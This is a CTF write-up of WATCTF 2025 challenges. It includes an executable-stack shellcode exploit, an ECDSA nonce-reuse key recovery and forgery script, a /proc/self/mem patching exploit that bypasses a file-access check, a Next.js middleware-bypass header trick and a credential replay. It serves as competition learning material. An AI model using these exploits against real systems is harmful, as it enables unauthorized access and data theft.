# WATCTF 2025 Play with my team named "**mc3**". We still noobs 🙏.. Personally, I love solving some Binary Exploitation, Webex and Reverse Engineering ![image](https://hackmd.io/_uploads/rkx4AmZilx.png) --- All of these write-ups were written by me, so I apologize for any mistakes. ## design-portofolio (Forensics) Given the **pcap (Network Capture)** file and filtering the **HTTP** data. I saw **X-Flag-Chunk-*** ![image](https://hackmd.io/_uploads/rJ1oJV-sgl.png) So to make it easy, i just grab all **X-Flag-Chunk** with **strings** and put it all into **cyberchef** to make it easy identifying ![image](https://hackmd.io/_uploads/By8p14-sge.png) ![image](https://hackmd.io/_uploads/SJY1lVWjxe.png) In header we can see it a **PNG** file, so save it and open ![image](https://hackmd.io/_uploads/By_WgVZsxx.png) FLAG: `watctf{steg0_over_http}` ## horse-drawn (Misc) It just connecting the **SSH** but it can't reach end line of response. So here how to do it ```bash ssh -tt hexed@challs.watctf.org -p 8022 | cat -v ``` FLAG: `watctf{im_more_of_a_tram_fan_personally}` ## curve-desert (Crypto) Im not really good at crypto but the code was implements a custom ECDSA signer and verifier on the curve BRAINPOOLP512r1. Here the full code ```python= from Crypto.Util.number import bytes_to_long, inverse from pwn import * import ecdsa, random, os rem = remote("challs.watctf.org", 3788) curve = ecdsa.curves.BRAINPOOLP512r1 gen, n = curve.generator, curve.order challengeHex = rem.recvline().split()[2] info(f"Challenge: {challengeHex}") challenge = bytes.fromhex(challengeHex.decode()) # Signature rem.sendlineafter(b"Choose an option:", b"1") rem.sendlineafter(b"Input hex of message to sign:", b"01") r1Number = rem.recvline().decode().split(" is: ")[1].split(" ") r1, s1 = int(r1Number[0]), int(r1Number[1]) info(f"r1: {r1}, s1: {s1}") rem.sendlineafter(b"Choose an option:", b"1") rem.sendlineafter(b"Input hex of message to sign:", b"02") r2Number = rem.recvline().decode().split(" is: ")[1].split(" ") r2, s2 = int(r2Number[0]), int(r2Number[1]) info(f"r2: {r2}, s2: {s2}") z1, z2 = bytes_to_long(b"\x01"), bytes_to_long(b"\x02") # recover k k = ( (z1 - z2) * inverse(s1 - s2, n) ) % n # recover priv priv = ((s1 * k - z1) * inverse(r1, n)) % n # forge signature on challenge z = bytes_to_long(challenge) r = r1 # same r, since k same s = (inverse(k, n) * (z + r*priv)) % n # Verify rem.sendlineafter(b"Choose an option:", b"2") rem.sendlineafter(b"to verify:", challengeHex) rem.sendlineafter(b"seperated by a space:", (str(r) + " " + str(s)).encode()) rem.interactive() ``` FLAG: `watctf{yeah_dont_share_the_k_parameter_it_doesnt_work_out}` ## 2p2t (Crypto) It's just a simple RSA... ```python from math import isqrt N = 331952857868366988663932945877951080549278582595446041827767968625349664658283914707688360079014486835580798093875473318398665440196327017511963073666394378115620522693620625071360763670651867749935306771611365203669632958229266010553458203000895499490278056591308718235818336550276558946434347335414409026661 e = 65537 ct = 27392982072168505918328498224512439143304951239197916179225339049412270594576024668071218892690652612353376666973045187430259051892719839059780552668922042760370020764362839523844795479477997719361780814250593853162333527993824104731684172908271583213365558182307524519318252505075812038979585427505321346605 # factor N p = q = None for r in range(1, 1_000_000, 2): # odd r D = r*r + 8*N y = isqrt(D) if y*y == D and (y-r) % 2 == 0: m = (y-r)//2 if m % 2 == 0: p = m//2 if p > 1 and N % p == 0: q = N//p break phi = (p-1)*(q-1) d = pow(e, -1, phi) pt = pow(ct, d, N) flag = pt.to_bytes((pt.bit_length()+7)//8, "big") print(flag.decode()) ``` FLAG: `watctf{qu4dr4t1c_3qu4t10ns_l0ve_c0rr3l4t10n}` ## intro2pwn (Pwn) Classic bufferoverflow with executable stack ``` Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No ``` ```cpp! __int64 __fastcall vuln(__int64 a1, __int64 a2, __int64 a3, int a4, int a5, int a6) { int v6; // edx int v7; // ecx int v8; // r8d int v9; // r9d char v11[72]; // [rsp+0h] [rbp-50h] BYREF _printf_chk(2, (unsigned int)"Addr: %p\n", (unsigned int)v11, a4, a5, a6, v11[0]); fflush(stdout); _isoc99_scanf((unsigned int)"%s", (unsigned int)v11, v6, v7, v8, v9, v11[0]); return 0LL; } ``` Reach the bufferoverflow will be 72 and rest just spawn the shell, here the script ```python! from pwn import * context.update(arch="amd64", os="linux") # p = process("./vuln") # gdb.attach(p, gdbscript=''' # b *0x0000000000401910 # handle SIGSEGV stop print # c # ''') p = remote("challs.watctf.org", 1991) # Since NX is disabled, we can inject our shellcode leak = p.recvline().strip().split()[-1] buf = int(leak, 16) log.success(f"buffer at {hex(buf)}") # shellcode sc = asm(shellcraft.sh()) buffer = 72 # Reach to stack payload = sc.ljust(buffer, b"\x90") payload += b"A" * 8 # Padding payload += b"B" * 8 # RBP payload += p64(buf) log.hexdump(payload) p.sendline(payload) p.interactive() ``` FLAG: `watctf{g00d_j0b_s0m3t1m3s_on_old_machines_this_1s_3n0ugh}` ## gooses-typing-test (Web) This is just typing speed test and need to reach 500wpm or more. So i just write some script and execute in on console ```js const input = document.querySelector("input"); function newEvent(key) { return new KeyboardEvent("keydown", { key, bubbles: true, }); } const firstChar = document.querySelectorAll("div > span")[1].innerText; const left = document.querySelectorAll("div > span")[2].innerText; // Trigger first input.dispatchEvent(newEvent(firstChar)); // Trigger rest for (let i = 0; i < left.length; i++) { await (async () => { await new Promise((resolve) => setTimeout(resolve, 10)); input.dispatchEvent(newEvent(left[i])); })(); } ``` FLAG: `watctf{this_works_in_more_places_than_youd_think}` ## Waterloo Trivia Dash (Web) There is 3 questions and the answer ```js let a = [{ prompt: "Which research institute is based in Waterloo?", options: ["CERN", "Perimeter Institute for Theoretical Physics", "Brookhaven National Laboratory", "Max Planck Institute"], correctIndex: 1 }, { prompt: "Which university is in Waterloo?", options: ["Harvard University", "University of Waterloo", "UCLA", "ETH Z\xfcrich"], correctIndex: 1 }, { prompt: "Which tech company was famously founded in Waterloo?", options: ["BlackBerry (RIM)", "Nokia", "Sony", "Xiaomi"], correctIndex: 0 }]; ``` After answering all question i get directed into /admin but its response with **307** ![image](https://hackmd.io/_uploads/SytTXN-iee.png) ![image](https://hackmd.io/_uploads/ryIA7EWsll.png) So this can be some NextJS vulnerability. Most popular is **Bypass Middleware**. So i just put the header with **x-middleware-subrequest** with **src/middleware:...** ![image](https://hackmd.io/_uploads/HkLm4EZsgl.png) FLAG: `watctf{next_js_middleware_is_cool}` ## hex-editor-xtended-v2 (Pwn) I tried to analyze the code and get some interesting functions ```c! void do_open_command(char *user_path) { if(realpath(user_path, path) == NULL) { perror("could not resolve path"); clear_path(); return; } if (startswith(path, "//")) { puts("path has to start with a single slash"); clear_path(); return; } if (strncmp(path, "/secret.txt", strlen("/secret.txt")) == 0) { puts("accessing /secret.txt not allowed"); clear_path(); return; } current_file = fopen(path, "r+"); if(current_file == NULL) { if(errno == EACCES) { // Let them try opening it for reading anyway current_file = fopen(path, "r"); if(current_file == NULL) { perror("Failed opening file for reading"); clear_path(); return; } file_is_readonly = true; return; } perror("Failed opening file"); clear_path(); return; } file_is_readonly = false; } ``` There is /secret.txt which i think that is our target, because there is none of description that we can read other files. This could be **heap exploitation, bufferoverflow, ROP or something else**, but when i deep analyze it was not 😭😭 .. But in **do_open_command** allow us to open like **/etc/passwd**, **/proc/self/maps** and **/proc/self/mem**. As far i know, the challenge allow us to set any data (only when its not readonly) ```c void do_set(uint64_t filepos, char byte) { if(current_file == NULL) { puts("You're not editing any files currently"); return; } if(file_is_readonly) { puts("Can't change the contents of a readonly file"); return; } if(fseek(current_file, filepos, SEEK_SET) < 0) { perror("failed seek"); return; } if(fputc(byte, current_file) < 0) { perror("failed write"); } } ``` And the **/proc/self/mem** is not readonly also it allow us. For more information about **/proc/self/mem** you can check here: https://blog.cloudflare.com/diving-into-proc-pid-mem/ Our target is clear now, we need write **/proc/self/mem**.. But where?? 😀. If i take a look the binary that i got ```b Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No ``` It's very lucky that **PIE** was disabled, if not it will be more difficult. Im gonna look up the **strncmp** on **do_open_command** ```b 0x000000000040182e <+128>: mov edx,0xb 0x0000000000401833 <+133>: lea rax,[rip+0x95814] # 0x49704e 0x000000000040183a <+140>: mov rsi,rax 0x000000000040183d <+143>: lea rax,[rip+0xc5abc] # 0x4c7300 <path> 0x0000000000401844 <+150>: mov rdi,rax 0x0000000000401847 <+153>: call 0x401070 0x000000000040184c <+158>: test eax,eax 0x000000000040184e <+160>: jne 0x40186e <do_open_command+192> 0x0000000000401850 <+162>: lea rax,[rip+0x95809] # 0x497060 0x0000000000401857 <+169>: mov rdi,rax 0x000000000040185a <+172>: call 0x41a5a0 <puts> 0x000000000040185f <+177>: mov eax,0x0 0x0000000000401864 <+182>: call 0x401755 <clear_path> 0x0000000000401869 <+187>: jmp 0x401918 <do_open_command+362> pwndbg> x/12s $rip+0x95814 0x497047: " slash" 0x49704e: "/secret.txt" 0x49705a: "" 0x49705b: "" 0x49705c: "" 0x49705d: "" 0x49705e: "" 0x49705f: "" 0x497060: "accessing /secret.txt not allowed" 0x497082: "r+" 0x497085: "r" 0x497087: "" ``` Our target address will be **0x49704e** and set any data to overwrite the /secret.txt. ```b > open /proc/self/mem > set 4812878 41 > set 4812879 41 > set 4812880 41 > set 4812881 41 > set 4812882 41 > open /secret.txt ``` After that, try to get the data ```b > get 0 77 > get 1 61 > get 2 74 > get 3 63 > get 4 74 > get 5 66 ``` Seems like its working, now wrapped all into script (**I dont use connect todo that, instead i use pexpect due the SSH connection issues**) ```python! import pexpect from pwn import * # Spawn the SSH command child = pexpect.spawn("ssh hexed@challs.watctf.org -p 2022") def send(cmd): child.expect(b"> ", timeout=5) child.sendline(cmd) def get(num): payload = b"get " + str(num).encode() child.expect(b"> ", timeout=5) child.sendline(payload) return child.read_nonblocking(len(payload) + len(str(num)) + 3).decode().split("\n")[1] try: # send("open /proc/self/maps") # Dump maps # # Maps # maps = "" # # Dump all # for x in range(0, 1024): # maps += chr(int(get(x), 16)) # print(maps) # We are allowed into write the /proc/self/mem send("open /proc/self/mem") # Prepare address to write # $rip+0x95814 rodata = 0x49704e # Send payload to overwrite the strncmp (patch) for x in range(6): info("Overwriting " + str(hex(rodata + x))) send(b"set " + str(rodata + x).encode() + b" " + b"41") # Overwrite with A # Re-open the secret.txt info("Open secret.txt now") send("open /secret.txt") # Get flag info("Dump all flags") flag = "" for x in range(0x100): res = get(x) print(res) flag += chr(int(get(x), 16)) print(flag) except pexpect.exceptions.TIMEOUT: print("Timed out waiting for output") except Exception as e: print("Error:", str(e)) finally: child.close() ``` ```b [*] Overwriting 0x49704e [*] Overwriting 0x49704f [*] Overwriting 0x497050 [*] Overwriting 0x497051 [*] Overwriting 0x497052 [*] Overwriting 0x497053 [*] Open secret.txt now [*] Dump all flags 77 w 61 wa 74 wat 63 watc 74 watct 66 watctf 7b watctf{ 68 watctf{h 30 watctf{h0 70 watctf{h0p 33 watctf{h0p3 66 watctf{h0p3f 75 watctf{h0p3fu 6c watctf{h0p3ful 6c watctf{h0p3full 79 watctf{h0p3fully 5f watctf{h0p3fully_ 74 watctf{h0p3fully_t 68 watctf{h0p3fully_th 33 watctf{h0p3fully_th3 72 watctf{h0p3fully_th3r 33 watctf{h0p3fully_th3r3 5f watctf{h0p3fully_th3r3_ 77 watctf{h0p3fully_th3r3_w 34 watctf{h0p3fully_th3r3_w4 73 watctf{h0p3fully_th3r3_w4s 6e watctf{h0p3fully_th3r3_w4sn 74 watctf{h0p3fully_th3r3_w4snt 5f watctf{h0p3fully_th3r3_w4snt_ 34 watctf{h0p3fully_th3r3_w4snt_4 6e watctf{h0p3fully_th3r3_w4snt_4n 5f watctf{h0p3fully_th3r3_w4snt_4n_ 75 watctf{h0p3fully_th3r3_w4snt_4n_u 6e watctf{h0p3fully_th3r3_w4snt_4n_un 31 watctf{h0p3fully_th3r3_w4snt_4n_un1 6e watctf{h0p3fully_th3r3_w4snt_4n_un1n 74 watctf{h0p3fully_th3r3_w4snt_4n_un1nt 33 watctf{h0p3fully_th3r3_w4snt_4n_un1nt3 6e watctf{h0p3fully_th3r3_w4snt_4n_un1nt3n 64 watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd 33 watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3 64 watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d 5f watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ 61 watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_a 67 watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag 34 watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag4 31 watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41 6e watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n 7d watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n} 0a watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n} ``` FLAG: `watctf{h0p3fully_th3r3_w4snt_4n_un1nt3nd3d_ag41n}` ## web-slinger-logs (misc) Im not sure what vulnerability is this, but just take look how i solve this ```b > logs { "login_attempts": [ { "timestamp": "2025-09-09T09:22:45", "date": "2025-09-09", "user": "test1", "password": "securepass2024_2025-09-09", "type": "login_attempt", "status": "success", "reason": "valid_credentials" }, ] } > login test1 securepass2024 { "Status": "400", "Message": "Login failed: missing date suffix." } > login test1 securepass2024_2025-09-11 { "Status": "200", "Message": "Replay attack successful", "flag": "watctf{web_slinger_replay_2025}" } ``` FLAG: `watctf{web_slinger_replay_2025}` ## tfw-no-stack-locals (Rev) I'm trying to decompile the **WASM** into C but it really-really alot garbage code. Trying to optimizing it and fall into rabbit hole due wrong encryption algorithm. So, i decide focus on read **memory buffer** for **0x0** to **0x200000** and found interesting data ```! 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d9 ff 00 00 77 61 74 63 74 66 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 00 00 99 ff 00 00 f8 c5 f5 0d 08 a4 87 19 5e aa df 51 22 68 80 0d 3e 11 09 85 b0 11 af 99 13 c1 fe e7 b5 c8 57 99 1b f8 d2 a8 96 0f ef c4 3b f2 b5 41 c0 d4 87 27 f4 1c ba 8d f2 21 d9 3d 00 00 00 00 59 ff 00 00 f8 c5 f5 0d 08 a4 bd 31 79 b4 e7 7f 16 76 ad 23 10 3b 17 ad 9f 24 81 87 3b f4 e0 d1 c0 fa 7b 87 6b ca cc dd b4 3a db e4 16 df 8d 5f b5 ca a4 57 c1 02 8c ff 82 12 fc 01 00 00 00 00 19 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ``` It's seemslike my input was write on that position and there is more on it. So i decide dump and find the offset ![image](https://hackmd.io/_uploads/HyTL94bsxg.png) When i look through this, there is 7 byte are simmilar on **0x110048 and 0x110088**. I was trying input with "watctf{AAA...".. It seemslike the encrypted data was also stored in **memory buffer** which will make me easy to identify next character. So im just gonna edit the **check_flag** code into this ```js export function check_flag(flag) { const inputflag = (flag) => { const ptr0 = passStringToWasm0( flag.padEnd(56, "A"), wasm.__wbindgen_malloc, wasm.__wbindgen_realloc ); const len0 = WASM_VECTOR_LEN; const ret = wasm.check_flag(ptr0, len0); return ret; }; let bruteFlag = "watctf{"; flag = bruteFlag; inputflag(flag); function dumpHex(start, length, print = true) { const u8 = new Uint8Array(wasm.memory.buffer, start, length); let out = []; for (let i = 0; i < u8.length; i++) { out.push(u8[i].toString(16).padStart(2, "0")); // if ( // u8[i] === 0xf8 && // u8[i + 1] === 0xc5 && // u8[i + 2] === 0xf5 && // u8[i + 3] === 0x0d && // u8[i + 4] === 0x08 && // u8[i + 5] === 0xa4 && // u8[i + 6] === 0xbd && // u8[i + 7] === 0x31 && // u8[i + 8] === 0x79 // ) { // console.log("Match found! candidate produced correct bytes."); // console.log("0x" + (start + i).toString(16), out.join(" ")); // } } if (print) { console.log("0x" + start.toString(16), out.join(" ")); } return out; } const sizeStack = 56; const bufferEncFlag = 0x110088; const bufferBruteFlag = bufferEncFlag - (8 + 56); const bufferInputFlag = bufferEncFlag - (16 + 56 * 2); dumpHex(bufferBruteFlag, sizeStack); dumpHex(bufferEncFlag, sizeStack); dumpHex(bufferInputFlag, sizeStack); // Try brute const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_"; for (let pos = bruteFlag.length; pos < 56; pos++) { let found = false; for (const ch of charset) { const candidate = bruteFlag + ch; inputflag(candidate); // Dump the hex // console.log(candidate); const bruteRes = dumpHex(bufferBruteFlag, pos + 1, false)[pos]; const encRes = dumpHex(bufferEncFlag, pos + 1, false)[pos]; const inputRes = dumpHex(bufferInputFlag, pos + 1, false)[pos]; if (bruteRes == encRes) { // console.log(bruteRes, encRes, inputRes); // return; bruteFlag += ch; console.log(`0x` + (bufferBruteFlag + pos + 1).toString(16), bruteFlag); break; } } } } ``` ![image](https://hackmd.io/_uploads/HJ2wi4Wiex.png) FLAG: `watctf{if_you_look_into_it_w4sm_1s_4ctually_4_b1t_w31rd}` # The end